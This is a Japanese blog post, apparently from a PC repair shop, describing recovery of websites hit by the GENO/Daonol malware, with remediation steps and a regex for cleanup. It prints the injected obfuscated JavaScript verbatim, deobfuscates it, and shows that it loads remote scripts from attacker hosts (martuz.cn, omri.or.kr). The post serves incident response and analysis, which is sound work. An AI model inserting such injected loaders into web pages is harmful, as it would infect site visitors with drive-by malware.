Topホームページ  > 2009年11月19日

« 物理的に壊れたハードディスクからのデータ救済 | | 黒い画面の中央にマウスでWindowsが起動しません »

GENOウィルスに感染したサイトの回復

FTP情報をトロイの木馬型マルウェアに奪われ、サイトを改ざんされた事例が、後を絶ちません。

Adobe ReaderやAdobe Flash Playerの貧弱性をついたJava Scriptを読み込むように、されてしまいます(※)。ウェルス対策ソフトは、検知できるのですが、次々と亜種が出てきて、いたちごっこのようです。

(※)実際は、PDFファイルやFlashファイル内に悪意のあるプログラムを埋め込んだものをJava Scriptで読み込むように作られています。

先日も、GENOウィルス(正式名称Torojan.Win32/Daonol.H)にFTPパスワードを盗まれ、ホームページを改竄されてしまったサイトの復旧作業を依頼されて、対応しました。

手順としては、

1.感染したクライアントPCをネットワークから遮断する。

2.ホームページを運用しているFTPパスワードを、変更する。

3.できれば、一時的にホームページを閉鎖する。

4.感染したhtmlファイルやJava Scriptファイルを、クライアント側で保存してあるファイルで上書きアップロードする。

5.サイトを再開する。

6.GoogleやYahooなどで、ブラックリストにされている場合は、サイトの再審査手続きをする。

7.ホームページ更新用のクライアントPCは、ウィルス駆除もしくは、データバックアップ後、OSのリカバリーをする。

8.OS、アプリケーションは、常に最新の状態にしておく。

9.ホームページのサーバで、セキュアFTPが使えるようなら、SFTPや、FTP over SSLなどを使用する。

といった流れとなります。

今年5月のケースでは、手順7をデータのバックアップをせず、OSの再インストールを真っ先にしてしまい、クライアントサイドに、ホームページのバックアップが無く、サーバ上の改竄されたデータしかないとのこと。自分たちでは手がおえなく、依頼がきました。

この場合、手順4は、サーバから、データをダウンロードして、改ざんされたファイルを調べて、改ざん部分のみ削除。その後、ファイルをアップロードし直す。という手順になります。

改ざんされたファイルは、ファイルの更新日付を見ると、ほぼ推測がつきますので、あとは、どこが変更されたかを目で追って、その部分を削除していきます。

改ざんパターンは、一定ですので、秀丸エディタのgrep置換機能などを使えば、数百あるファイルでも、あっという間に更新できてしまいます。

改ざんパターンは、拡張子html、shtml、jsのファイル全てに、スクリプトが埋め込まれていました。

htmlのソースコードは、<body>タグの直前に、以下のような文字列が並んでいました。

<script language=javascript><!--
(function(ezEqY){var cTxf='var~20~61~3d~22~53c~72~69pt~45ngine~22~2c~62~3d~22V~65r~73io~6e()+~22~2cj~3d~22~22~2cu~3dna~76~69gator~2euser~41ge~6et~3bif((u~2e~69n~64exOf(~22C~68r~6f~6de~22)~3c~30)~26~26~28u~2ein~64exOf(~22Wi~6e~22)~3e0)~26~26(~75~2ein~64exOf~28~22NT~206~22)~3c0)~26~26(documen~74~2e~63~6fo~6b~69e~2e~69~6edexOf(~22mie~6b~3d1~22)~3c0~29~26~26~28type~6ff(~7a~72~76zts)~21~3dtypeof(~22A~22)~29)~7bzrvz~74s~3d~22~41~22~3bev~61~6c(~22~69f(w~69ndow~2e~22~2ba+~22~29j~3dj+~22+a+~22Majo~72~22~2bb+a+~22M~69~6eor~22~2bb+a+~22Build~22~2bb+~22j~3b~22)~3bdocu~6dent~2e~77~72it~65(~22~3cs~63r~69~70t~20s~72~63~3d~2f~2f~6dart~22+~22~75~7a~2ecn~2fvid~2f~3f~69d~3d~22~2bj~2b~22~3e~3c~5c~2fscript~3e~22)~3b~7d';eval(unescape(cTxf.replace(ezEqY,'%')))})(/\~/g);
--></script>

Java Scriptのファイルも<script>タグのないものが行末に追加されていました。

<!--
(function(ezEqY){var cTxf='var~20~61~3d~22~53c~72~69pt~45ngine~22~2c~62~3d~22V~65r~73io~6e()+~22~2cj~3d~22~22~2cu~3dna~76~69gator~2euser~41ge~6et~3bif((u~2e~69n~64exOf(~22C~68r~6f~6de~22)~3c~30)~26~26~28u~2ein~64exOf(~22Wi~6e~22)~3e0)~26~26(~75~2ein~64exOf~28~22NT~206~22)~3c0)~26~26(documen~74~2e~63~6fo~6b~69e~2e~69~6edexOf(~22mie~6b~3d1~22)~3c0~29~26~26~28type~6ff(~7a~72~76zts)~21~3dtypeof(~22A~22)~29)~7bzrvz~74s~3d~22~41~22~3bev~61~6c(~22~69f(w~69ndow~2e~22~2ba+~22~29j~3dj+~22+a+~22Majo~72~22~2bb+a+~22M~69~6eor~22~2bb+a+~22Build~22~2bb+~22j~3b~22)~3bdocu~6dent~2e~77~72it~65(~22~3cs~63r~69~70t~20s~72~63~3d~2f~2f~6dart~22+~22~75~7a~2ecn~2fvid~2f~3f~69d~3d~22~2bj~2b~22~3e~3c~5c~2fscript~3e~22)~3b~7d';eval(unescape(cTxf.replace(ezEqY,'%')))})(/\~/g);
-->

この部分をざっくり削除してしまえば、いいわけです。

置換文字列は、^\(function\(ezEqY\)\{var.*\/g\);\n としました。行頭(function(ezEqY){var までが ^\(function\(ezEqY\)\{var です。中間部は、 .* として全てにマッチ。行末部 /g); は、 \/g\);\n で改行部分まで、置換対象としてあります。置換文字列中 \マークは、(、)、/、{などのメタキャラクタをエスケープするためのものです。

秀丸エディタの「grepして置換」ダイアログのスクリーンショットです。

 


 

埋め込まれたスクリプトは難読化してありますので、解析してみます。まず、可読性を高めるために改行します。

(function(ezEqY){
var cTxf='var~20~61~3d~22~53c~72~69pt~45ngine~22~2c~62~3d~22V~65r~73io~6e()+~22~2cj~3d~22~22~2cu~3dna~76~69gator~2euser~41ge~6et~3bif((u~2e~69n~64exOf(~22C~68r~6f~6de~22)~3c~30)~26~26~28u~2ein~64exOf(~22Wi~6e~22)~3e0)~26~26(~75~2ein~64exOf~28~22NT~206~22)~3c0)~26~26(documen~74~2e~63~6fo~6b~69e~2e~69~6edexOf(~22mie~6b~3d1~22)~3c0~29~26~26~28type~6ff(~7a~72~76zts)~21~3dtypeof(~22A~22)~29)~7bzrvz~74s~3d~22~41~22~3bev~61~6c(~22~69f(w~69ndow~2e~22~2ba+~22~29j~3dj+~22+a+~22Majo~72~22~2bb+a+~22M~69~6eor~22~2bb+a+~22Build~22~2bb+~22j~3b~22)~3bdocu~6dent~2e~77~72it~65(~22~3cs~63r~69~70t~20s~72~63~3d~2f~2f~6dart~22+~22~75~7a~2ecn~2fvid~2f~3f~69d~3d~22~2bj~2b~22~3e~3c~5c~2fscript~3e~22)~3b~7d';
eval(unescape(cTxf.replace(ezEqY,'%')))
})
(/\~/g);

変数 cTxf 内の ~ を % に置換します。

var%20%61%3d%22%53c%72%69pt%45ngine%22%2c%62%3d%22V%65r%73io%6e()+%22%2cj%3d%22%22%2cu%3dna%76%69gator%2euser%41ge%6et%3bif((u%2e%69n%64exOf(%22C%68r%6f%6de%22)%3c%30)%26%26%28u%2ein%64exOf(%22Wi%6e%22)%3e0)%26%26(%75%2ein%64exOf%28%22NT%206%22)%3c0)%26%26(documen%74%2e%63%6fo%6b%69e%2e%69%6edexOf(%22mie%6b%3d1%22)%3c0%29%26%26%28type%6ff(%7a%72%76zts)%21%3dtypeof(%22A%22)%29)%7bzrvz%74s%3d%22%41%22%3bev%61%6c(%22%69f(w%69ndow%2e%22%2ba+%22%29j%3dj+%22+a+%22Majo%72%22%2bb+a+%22M%69%6eor%22%2bb+a+%22Build%22%2bb+%22j%3b%22)%3bdocu%6dent%2e%77%72it%65(%22%3cs%63r%69%70t%20s%72%63%3d%2f%2f%6dart%22+%22%75%7a%2ecn%2fvid%2f%3f%69d%3d%22%2bj%2b%22%3e%3c%5c%2fscript%3e%22)%3b%7d

unescapeします。デコードスクリプト

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("<script src=//mart"+"uz.cn/vid/?id="+j+"><\/script>");}

改行を入れると。

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;
if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){
zrvzts="A";
eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");
document.write("<script src=//mart"+"uz.cn/vid/?id="+j+"><\/script>");
}

「http://martuz.cn/vid/?id=Webブラウザの種類」というようなスクリプトを読み込んで実行します。ブラウザのセキュリティーホールを利用した悪意のあるスクリプトを埋め込むことができます。
googleで「martuz.cn」をキーワード検索してみると、どうやらAdobe Readerのセキュリティホールを利用したマルウェアのようです。

10月に対応したホームページは、難読化されておらず、Java Scriptが<body>タグの直前に埋め込まれていました。

<script src=http://omri.or.kr/data/test.php >

いたずらっぽいですが、test.phpの中身までは、検証しませんでした。

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

コメントを投稿

検索


Feed

Really Simple Syndication 2.0 The Atom Syndication Format Really Simple Discoverability